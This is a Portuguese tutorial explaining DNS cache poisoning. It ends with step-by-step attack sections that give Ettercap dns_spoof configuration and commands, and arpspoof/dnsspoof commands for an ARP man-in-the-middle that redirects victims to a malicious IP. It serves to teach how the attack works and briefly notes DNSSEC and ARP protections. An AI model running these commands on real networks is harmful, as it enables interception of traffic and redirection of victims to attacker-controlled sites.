Índice
DNS Spoofing: O Conceito
O DNS possui uma série de vulnerabilidades que podem ser exploradas por um atacante. Um atacante pode, por exemplo, obter acesso ao servidor DNS de uma organização e alterar os seus mapeamentos, de forma que o seu computador passe a possuir o nome de um computador dessa organização que tem uma relação de confiança com o computador-alvo.
Um invasor pode corromper o servidor DNS de uma organização, fazendo com que ele responda com o IP do seu próprio servidor quando os utilizadores da instituição desejam aceder, por exemplo, ao site de um banco. Versões mais antigas de servidores DNS são particularmente vulneráveis, permitindo que o seu cache seja corrompido remotamente para atingir os mesmos objetivos.
Dns Spoofing (ou envenenamento de cache DNS) é um ataque no qual dados falsos são introduzidos na base de dados de cache de um servidor DNS, fazendo com que o servidor redirecione nomes de domínio para endereços IP incorretos, desviando o tráfego para outro computador (muitas vezes, o do atacante).
Normalmente, um computador em rede utiliza um servidor DNS fornecido pela sua organização ou pelo seu Provedor de Serviços de Internet (ISP). Servidores DNS são geralmente implementados na rede de uma organização para melhorar o desempenho, guardando em cache os resultados de consultas anteriores. Um ataque de envenenamento num único servidor DNS pode afetar todos os utilizadores atendidos por ele, direta ou indiretamente.
Para executar um ataque de envenenamento de cache, o atacante explora uma falha no software DNS. Se o servidor não validar corretamente as respostas DNS para garantir que elas vêm de uma fonte autoritativa (por exemplo, utilizando **DNSSEC**), o servidor acabará por guardar em cache as entradas incorretas e fornecê-las a outros utilizadores que façam o mesmo pedido.
Vetor de Ataque: Análise do Ettercap
Num ataque de DNS spoofing utilizando ferramentas como o Ettercap, o atacante pode determinar para qual endereço IP um utilizador é redirecionado quando acede a um determinado domínio. A configuração de um ataque deste tipo envolve a edição de um ficheiro de configuração, como o `etter.dns`.
Um exemplo de configuração nesse ficheiro seria:
# Exemplo de configuração em /usr/local/share/ettercap/etter.dns
# Domínio Alvo Tipo IP Falso
exemplo-alvo.com A 192.168.1.100
www.exemplo-alvo.com A 192.168.1.100
- exemplo-alvo.com: Domínio que, quando acedido pela vítima, será redirecionado.
- A: Tipo de registo de DNS (um endereço IPv4).
- 192.168.1.100: Endereço IP malicioso para onde o tráfego será desviado.
A execução do ataque normalmente envolve um comando que especifica o modo de operação, o tipo de ataque Man-in-the-Middle (MITM), a interface de rede e o plugin a ser usado.
# Exemplo de comando de execução
ettercap -T -q -M arp -i [interface] -P dns_spoof /[alvo]/
Quando um anfitrião na rede acede ao domínio-alvo, o seu tráfego é interceptado e ele é redirecionado para o IP malicioso. É importante notar que proteções de rede contra ARP spoofing podem mitigar este tipo de ataque.
Vetor de Ataque: Análise de Arpspoof e Dnsspoof
Outra forma de realizar um ataque de DNS spoofing numa rede local é através da combinação de envenenamento ARP com a falsificação de DNS.
Passo 1: Envenenamento do Cache ARP
Primeiro, o atacante posiciona-se como o intermediário ("Man-in-the-Middle") entre a vítima e o router (gateway). Isto é feito através de ARP spoofing, enganando ambos os dispositivos sobre os endereços MAC um do outro.
# Exemplo de comando para envenenar o cache ARP da vítima
arpspoof -i [interface] -t [IP_da_vitima] [IP_do_router]
# Exemplo de comando para envenenar o cache ARP do router
arpspoof -i [interface] -t [IP_do_router] [IP_da_vitima]
Ao fazer isto em ambas as direções, todo o tráfego da vítima passa pelo computador do atacante.
Passo 2: Falsificação de DNS
Com o tráfego a ser redirecionado, o atacante cria um ficheiro de anfitriões falsos, similar ao do Ettercap, para mapear domínios legítimos para um IP malicioso.
# Exemplo de conteúdo do ficheiro de anfitriões falsos
192.168.1.100 exemplo.com
192.168.1.100 *.exemplo.com
Finalmente, a ferramenta `dnsspoof` é usada para escutar os pedidos DNS da vítima e responder com a informação falsa do ficheiro criado.
# Exemplo de comando para iniciar o dnsspoof
dnsspoof -i [interface] -f [caminho_para_ficheiro_falso]
Quando a vítima tenta aceder a `exemplo.com`, o seu pedido DNS é interceptado pelo atacante, que responde com o IP `192.168.1.100`, completando o ataque.